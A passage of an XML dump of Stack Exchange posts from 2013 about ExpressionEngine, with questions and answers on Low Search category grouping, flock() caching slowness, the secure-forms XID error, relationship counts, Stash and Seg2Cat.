Quote&amp;lt;/a&amp;gt;&#xA;                        {/case}&#xA;                        {case value=&quot;services&quot;}&#xA;                            &amp;lt;a href=&quot;{site_url}offices/{segment_2}/services/{url_title}&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;product_image&quot;&amp;gt;&#xA;                                    {exp:ce_img:pair src=&quot;{product_logo}&quot;}&#xA;                                            &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;                                    {/exp:ce_img:pair}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                            {exp:ce_str:ing truncate=&quot;88&quot;}&amp;lt;h3&amp;gt;{product_short_intro}&amp;lt;/h3&amp;gt;{/exp:ce_str:ing}&#xA;                            &amp;lt;a href=&quot;{site_url}offices/{segment_2}/services/{url_title}&quot; class=&quot;button&quot;&amp;gt;More Information&amp;lt;/a&amp;gt;&#xA;                        {/case}&#xA;                    {/exp:switchee}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;myModal_{url_title}&quot; class=&quot;reveal-modal small&quot;&amp;gt;&#xA;              &amp;lt;h2&amp;gt;Get a {title} Quote&amp;lt;/h2&amp;gt;&#xA;&#xA;                {exp:forms:form form_name=&quot;quote_now&quot; display_error=&quot;inline&quot;}&#xA;                    {forms:fields}&#xA;                            {forms:field}&#xA;                    {/forms:fields}&#xA;                {/exp:forms:form}&#xA;&#xA;              &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;              &amp;lt;a class=&quot;close-reveal-modal&quot;&amp;gt;&amp;amp;#215;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-11-29T09:24:00.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17248" PostTypeId="2" ParentId="13270" CreationDate="2013-11-29T09:35:30.053" Score="2" Body="&lt;p&gt;I know it's a bit old but for someone looking to change some parameters (like the return value) on submit by JavaScript - the reason it's not possible is that EE uses the meta tag which is an encrypted string containing some of the information. So, to change the value you would need to recreate that encryption. Look in the file Channel_form_lib.php for more information.&lt;/p&gt;&#xA;" OwnerUserId="2052" LastActivityDate="2013-11-29T09:35:30.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17249" PostTypeId="1" AcceptedAnswerId="17260" CreationDate="2013-11-29T10:28:50.597" Score="1" ViewCount="210" Body="&lt;p&gt;I hope you're all well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built a new website in EE and I'm using Low Search for a filtering system. It is set up as a series of checkboxes which allow the user to choose the categories they wish to view, and upon hitting search they're shown a page of results. This is all working perfectly fine, however I need to make an adjustment to the results page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present a user can filter any categories, for example;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1 child 1&lt;/li&gt;&#xA;&lt;li&gt;Category 1 child 2&lt;/li&gt;&#xA;&lt;li&gt;Cateogry 1 child 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the user ticks Category 1 it will select all the child items so the results page contains all the entris from these four categories (including the parent). Is it possible to display these on the results page as so (assuming the user has chose to display all categories):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category 1:&lt;/strong&gt;&#xA;Result 1,&#xA;Result 2,&#xA;Result 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category 1 child 1:&lt;/strong&gt;&#xA;Result 4,&#xA;Result 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category 1 child 2:&lt;/strong&gt;&#xA;Result 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially all the results are displayed under their category headings. The only caveat to this would be that the headings only show if there are results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to do this in a round about by putting an embed on the results page which fed each category id into the results tag, the problem here was that it just displayed every entry rather than what was searched for (see code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;products&quot;}&#xA;  {embed=&quot;products/results-list&quot; category=&quot;{category_id}&quot;}&#xA;{/exp}   &#xA;&#xA;//Results tag in the embed template.   &#xA;{exp:low_search:results collection=&quot;products&quot; limit=&quot;999&quot; query=&quot;{segment_3}&quot; status=&quot;Open|Featured&quot; category=&quot;{embed:category}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That didn't work so I stripped that out and I currently have the results tag code above (minus the category declaration). My search form looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form query=&quot;{segment_3}&quot; collection=&quot;products&quot; result_page=&quot;products/results&quot; form_id=&quot;filter&quot;}&#xA;&#xA;  //Followed by a series of these&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;a class=&quot;button filter_toggle&quot; href=&quot;#&quot;&amp;gt;Sound&amp;lt;/a&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;      {exp:channel:categories channel=&quot;products&quot; category_group=&quot;1&quot; show=&quot;1|15|16|17|18|19|20|21|22&quot; show_empty=&quot;no&quot; id=&quot;nav_categories_sound&quot;}&#xA;        &amp;lt;label class=&quot;inline&quot; for=&quot;{category_url_title}&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; {if category_url_title == &quot;sound&quot;}class=&quot;first-check&quot;{/if} id=&quot;{category_url_title}&quot; value=&quot;{category_id}&quot; {if '{category_id}' IN ({low_search_category:sound})}checked=&quot;checked&quot;{/if}&amp;gt; {category_name}&amp;lt;/label&amp;gt;&#xA;      {/exp:channel:categories}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  //And then&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Show results&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated,&#xA;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2013-11-29T18:29:10.407" Title="Display low search results under category headings" Tags="|categories|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17250" PostTypeId="1" CreationDate="2013-11-29T10:48:58.140" Score="7" ViewCount="404" Body="&lt;p&gt;I'm developing an EE site. I've used &lt;code&gt;cache=&quot;yes&quot;&lt;/code&gt; and &lt;code&gt;refresh=&quot;60&quot;&lt;/code&gt; parameters throughout. Locally, the site was running super quick (as expected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I pushed to the staging server, the 'wait' time on the site was painfully slow. Sometimes 5 seconds +. Tested via &lt;a href=&quot;http://tools.pingdom.com/fpt/&quot;&gt;Pingdom&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I contacted the host and their reply was this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...it's an Expression Engine issue. It uses flock() which on our cloud platform is much slower than on local storage because we use network storage. By commenting out the flock statements it should speed up the site considerably.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed any light on this please? I've never come across it before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would my options be?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Move host?&lt;/li&gt;&#xA;&lt;li&gt;Remove the cache tags?&lt;/li&gt;&#xA;&lt;li&gt;Comment out the flock() statement? (somewhere in CI?)&lt;/li&gt;&#xA;&lt;li&gt;CE Cache?&lt;/li&gt;&#xA;&lt;li&gt;Something else...?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks! : )&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-12-02T05:01:45.977" Title="Caching and flock()" Tags="|cache|server|codeigniter|hosting|speed|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17251" PostTypeId="1" AcceptedAnswerId="17254" CreationDate="2013-11-29T11:53:40.067" Score="4" ViewCount="1955" Body="&lt;p&gt;I am using EE 2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dummy signup: &lt;a href=&quot;http://tensports.zeecdn.com/test-login-native.php&quot; rel=&quot;nofollow&quot;&gt;http://tensports.zeecdn.com/test-login-native.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on register it gives me an error &lt;strong&gt;The action you have requested is invalid.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am submitting a form with &lt;em&gt;action =&quot;http://tensports.zeecdn.com/ee/index.php/register/login-signup&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I get some guidance on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case if you want to refer the code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;signupForm&quot; action=&quot;&amp;lt;?php echo $STATIC_URL;?&amp;gt;ee/index.php/register/login-signup&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;form_status&quot; name=&quot;form_status&quot; value=&quot;signup&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;emId remReg&quot;&amp;gt;&amp;lt;a href=&quot;javascript:void(0);&quot; onClick=&quot;javascript:validate_signup();&quot;&#xA;        class=&quot;acLogin&quot;&amp;gt;Register&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codepad.org/eaKqsvTJ&quot; rel=&quot;nofollow&quot;&gt;http://codepad.org/eaKqsvTJ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastEditorDisplayName="user2133" LastEditDate="2013-11-29T15:35:20.173" LastActivityDate="2013-11-29T15:35:20.173" Title="The action you have requested is invalid" Tags="|ee2|members|error|forms|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17252" PostTypeId="1" AcceptedAnswerId="17258" CreationDate="2013-11-29T14:01:43.433" Score="2" ViewCount="931" Body="&lt;p&gt;I have a relationship field which contains a number of different pieces of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each piece of content has a type property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway I can count the number of each of the types that is included in the relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example.  3 Product related items, and 2 Showcase related items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to get the {total_results} of each type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm trying to do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if &quot;{related:panel_type}&quot; == &quot;products&quot;}&#xA;&#xA;      {if &quot;{related:count}&quot; == &quot;1&quot;}&#xA;        &amp;lt;ul class=&quot;p&quot;&amp;gt;&#xA;      {/if}&#xA;        // do stuff &#xA;      {if &quot;{related:count}&quot; == &quot;{related:total_results}&quot;}&#xA;        &amp;lt;/ul&amp;gt;&#xA;      {/if}&#xA;&#xA;    {/if}&#xA;&#xA;  {if &quot;{related:panel_type}&quot; == &quot;showcase&quot;}&#xA;&#xA;      {if &quot;{related:count}&quot; == &quot;1&quot;}&#xA;        &amp;lt;ul class=&quot;s&quot;&amp;gt;&#xA;      {/if}&#xA;        // do stuff &#xA;      {if &quot;{related:count}&quot; == &quot;{related:total_results}&quot;}&#xA;        &amp;lt;/ul&amp;gt;&#xA;      {/if}&#xA;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So at the moment {total_results} is equal to 5 so my ul is not getting closed properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas how I can get around this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to keep my markup inside the exp:channel:entries loop, and ideally use only one loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, greatly appreciated &lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="730" LastEditDate="2013-11-29T14:13:57.927" LastActivityDate="2013-11-29T17:27:34.327" Title="Relationship field - {count} of type, and {total_results} of type" Tags="|relationships|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17253" PostTypeId="2" ParentId="14307" CreationDate="2013-11-29T14:28:34.917" Score="0" Body="&lt;p&gt;So we think we finally found the answer. The previous developer was setting some javascript when a user was registering that was posting the email address to another area of the db. This was causing some issues with certain versions of IE.&lt;/p&gt;&#xA;" OwnerUserId="1945" LastActivityDate="2013-11-29T14:28:34.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17254" PostTypeId="2" ParentId="17251" CreationDate="2013-11-29T15:23:55.327" Score="7" Body="&lt;p&gt;You will get that error if you have secure forms enabled, and you submit a form without including a valid XID in the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More here:&#xA;&lt;a href=&quot;http://ellislab.com/blog/entry/putting-the-secure-in-secure-mode-forms&quot;&gt;http://ellislab.com/blog/entry/putting-the-secure-in-secure-mode-forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can disable secure forms in your config, although this is not recommended:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-11-29T15:23:55.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17256" PostTypeId="2" ParentId="17250" CreationDate="2013-11-29T17:13:24.143" Score="0" Body="&lt;p&gt;Yes those are your options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally suggest removing EE tags and using &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CE Cache&lt;/strong&gt;&lt;/a&gt;. It's a great alternative which allows for multiple methods for caching:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;file-based caching, database, APC, Redis, Memcache or Memcached) or&#xA;  full-page static caching&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-29T17:13:24.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17257" PostTypeId="1" AcceptedAnswerId="17706" CreationDate="2013-11-29T17:13:58.087" Score="1" ViewCount="66" Body="&lt;p&gt;When I try to display a member's profile using the url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://coastsider.com/[member trigger]/[member number]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Member_settings::$config&#xA;&#xA;Filename: member/mod.member_settings.php&#xA;&#xA;Line Number: 370&#xA;&#xA;Fatal error: Call to a member function item() on a non-object in [home directory]/expressionengine/modules/member/mod.member_settings.php on line 370&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interestingly, I get this message for every user &lt;em&gt;except&lt;/em&gt; the Superadmin (user #1).&lt;/p&gt;&#xA;" OwnerUserId="1295" LastEditorUserId="1295" LastEditDate="2013-12-01T20:22:03.283" LastActivityDate="2013-12-14T18:07:33.703" Title="Error when trying to display member profiles" Tags="|members|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17258" PostTypeId="2" ParentId="17252" CreationDate="2013-11-29T17:27:34.327" Score="2" Body="&lt;p&gt;Faffing about with loop counters is quite unpleasant and inelegant... these are the kind of problems you run into when your data-fetching is tightly coupled to your data-output. Instead put &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to work. Here's how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--  ============================================&#xA;STORE THE DATA into dynamic stash lists using context.&#xA;Avoid the temptation to put any markup here.&#xA;================================================== --}&#xA;&#xA;{exp:channel:entries ...}   &#xA;    {related}&#xA;        {exp:stash:append_list name=&quot;related-items&quot; context=&quot;{related:panel_type}&quot;}&#xA;            {stash:the-title}{related:title}{/stash:the-title}&#xA;            {stash:a-custom-field}{related:a-custom-field}{/stash:a-custom-field}&#xA;        {/exp:stash:append_list}&#xA;    {/related}&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{!--  ============================================&#xA;ASSEMBLE THE MARKUP and OUTPUT THE DATA&#xA;================================================== --}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}     &#xA;&#xA;    {if {exp:stash:not_empty name=&quot;related-items&quot; context=&quot;products&quot;}}&#xA;        &amp;lt;h2&amp;gt;Related Products&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul class=&quot;p&quot;&amp;gt;&#xA;           {exp:stash:get_list name=&quot;related-items&quot; context=&quot;products&quot;}&#xA;             &amp;lt;li&amp;gt;{the-title} | {a-custom-field}&amp;lt;/li&amp;gt;&#xA;           {/exp:stash:get_list}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if {exp:stash:not_empty name=&quot;related-items&quot; context=&quot;showcase&quot;}}&#xA;        &amp;lt;h2&amp;gt;Related Showcase&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul class=&quot;s&quot;&amp;gt;&#xA;           {exp:stash:get_list name=&quot;related-items&quot; context=&quot;showcase&quot;}&#xA;             &amp;lt;li&amp;gt;{the-title} | {a-custom-field}&amp;lt;/li&amp;gt;&#xA;           {/exp:stash:get_list}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you were using a separate view template for your layout you wouldn't need the final stash:parse tag, but if you're setting and getting in the same template it helps to avoid parse order issues. (Full explanation and tutorials here: &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorials&quot; rel=&quot;nofollow&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorials&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-11-29T17:27:34.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17259" PostTypeId="2" ParentId="17250" CreationDate="2013-11-29T18:22:03.340" Score="-1" Body="&lt;p&gt;You can use &quot;Stash&quot; to store (in the database) entire pages or parts of pages, with tags and conditionals rendered. I find that this speeds up pageload tremendously in some cases with some modules/fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another interesting one is &quot;preparse&quot; by solspace (which i haven't used yet). &quot;&lt;em&gt;Preparse allows you to parse EE template data when publishing/editing an entry...&lt;/em&gt;&quot; and then stores it in a custom field.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-11-29T18:22:03.340" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17260" PostTypeId="2" ParentId="17249" CreationDate="2013-11-29T18:29:10.407" Score="1" Body="&lt;p&gt;I managed to come to a conclusion in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the search query and got all the categories from those entries. I fed the category IDs into a PHP array, removed all the duplicates, then did a set of embeds using the collected IDs. Posting here if anyone is interested. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;  {exp:low_search:results collection=&quot;products&quot; limit=&quot;999&quot; query=&quot;{segment_3}&quot; status=&quot;Open|Featured&quot;}&#xA;    {exp:gwcode_categories depth=&quot;2&quot; entry_id=&quot;{entry_id}&quot; show_empty=&quot;no&quot; style=&quot;linear&quot;}&#xA;      &amp;lt;?php $categories[] = '{cat_id}'; //Store all child categories into array ?&amp;gt; &#xA;    {/exp:gwcode_categories}&#xA;  {if no_results}&#xA;  &amp;lt;div class=&quot;search_error&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      Sorry, your query did not return any results.&#xA;      Please try again.&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;  {/exp:low_search:results}&#xA;    &amp;lt;?php&#xA;    $categories = array_unique($categories); //Remove all duplicate entries&#xA;    foreach ($categories as $category) { //Loop through all array items and create embed template for each&#xA;      echo '{embed=&quot;products/results-list&quot; category=&quot;'.$category.'&quot;}';&#xA;    }?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just create a normal entries list using the category embed from the PHP array. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; category=&quot;{embed:category}&quot; status=&quot;Open|Featured&quot;}&#xA;  ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works for me but might not for anyone else. &lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2013-11-29T18:29:10.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17261" PostTypeId="1" CreationDate="2013-11-29T18:53:40.650" Score="2" ViewCount="210" Body="&lt;p&gt;I'm new to using Seg2Cat and I'm wondering if one of you extremely helpful folks out there may be able to help/offer advice or guidance based on my needs. A buddy told me Seg2Cat is what I need to pull this off, however I'm uncertain as to even set it up and get going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a listing channel for some 'staff' who are spread throughout the US and some other countries. Each staffer is in a category based on their state of residence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to have a select dropdown list of the states, then upon selection of a state, it takes you to a page or renders the results of staffers residing in the state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all!&lt;/p&gt;&#xA;" OwnerUserId="868" LastActivityDate="2014-06-06T16:49:15.767" Title="Using Low Seg2Cat to list and filter Category Entries" Tags="|low-seg2cat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17262" PostTypeId="1" AcceptedAnswerId="17263" CreationDate="2013-11-29T19:00:45.047" Score="2" ViewCount="336" Body="&lt;p&gt;I have a safecracker form I just converted to channel:form and I just changed it so when an entry is created it's automatically set to status=&quot;closed&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is display a message if the created entry is still being moderated (status is closed), display a message if there is NO entry created, or display a msg if there IS an entry created.. How do I tell the difference?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;channel=&quot;personal_trainer_directory&quot;&#xA;limit=&quot;1&quot;&#xA;dynamic=&quot;no&quot;&#xA;author_id=&quot;CURRENT_USER&quot;&#xA;status=&quot;closed&quot;&#xA;}&#xA;    ***DISPLAY IF STATUS IS CLOSED***&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries&#xA;channel=&quot;personal_trainer_directory&quot;&#xA;limit=&quot;1&quot;&#xA;dynamic=&quot;no&quot;&#xA;author_id=&quot;CURRENT_USER&quot;&#xA;}&#xA;    {if  no_results}&#xA;    ***DISPLAY IF NO RESULTS***&#xA;    {/if}&#xA;    ***DISPLAY IF THERE IS A RESULT***&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="941" LastEditorUserId="941" LastEditDate="2013-11-29T19:31:26.727" LastActivityDate="2013-11-29T19:51:23.783" Title="How to Tell Difference Between status=&quot;closed&quot; and {if no_results}?" Tags="|channel-entries|safecracker|channel-form|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17263" PostTypeId="2" ParentId="17262" CreationDate="2013-11-29T19:51:23.783" Score="5" Body="&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;channel=&quot;personal_trainer_directory&quot;&#xA;limit=&quot;1&quot;&#xA;dynamic=&quot;no&quot;&#xA;author_id=&quot;CURRENT_USER&quot;&#xA;status=&quot;open|closed&quot;&#xA;}&#xA;    {if  no_results}&#xA;    ***DISPLAY IF NO RESULTS***&#xA;    {/if}&#xA;&#xA;{if status==&quot;closed&quot;}&#xA;    ***DISPLAY IF STATUS IS CLOSED***&#xA;{if:else}&#xA;    ***DISPLAY IF THERE IS A RESULT***&#xA;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that what you mean?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-11-29T19:51:23.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17264" PostTypeId="2" ParentId="17261" CreationDate="2013-11-29T20:38:16.850" Score="2" Body="&lt;p&gt;You don't necessarily need Seg2cat to do that, category views are already built into EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have a template group set up called /staff all you need to do is add the Channel entries tag, plus category links for navigation, into the /staff/index template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample channel entries tag for your staff entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_staff_channel_short_name&quot;}&#xA;{title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample categories list for staff navigation...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;your_staff_channel_short_name&quot;}&#xA;&amp;lt;a href=&quot;{path='staff/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For basic drop down code example look at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#category-dropdown-menu&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#category-dropdown-menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-11-29T20:38:16.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17265" PostTypeId="1" CreationDate="2013-11-29T20:48:26.413" Score="2" ViewCount="104" Body="&lt;p&gt;I'm trying to do something like orderby=&quot;custom_order&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What hook would let you add and run a custom parameter option?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2421" LastEditorUserId="197" LastEditDate="2013-11-29T21:40:26.780" LastActivityDate="2013-11-29T21:46:39.640" Title="Hook for Adding Custom Channel Entries Parameter Option" Tags="|channel-entries|add-on-development|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17266" PostTypeId="2" ParentId="17265" CreationDate="2013-11-29T21:46:39.640" Score="1" Body="&lt;p&gt;A hook would probably not be the best way to do this. With a module, you can extend the functionality of the channel:entries tag by passing your custom module tag off to channel:entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://gist.github.com/airways/1322600&quot; rel=&quot;nofollow&quot;&gt;gist&lt;/a&gt; is an excellent example to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you'd have to use the parameters sent to your custom module to create a pipe-separated list of entry ids that you want in the order you want them. Then you'd feed it to the channel entries tag by using &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagparams['fixed_order'] = $entry_ids;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extending the channel:entries tag like this makes it act exactly like a normal version of the tag, so all the parsing works perfectly, etc.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-29T21:46:39.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
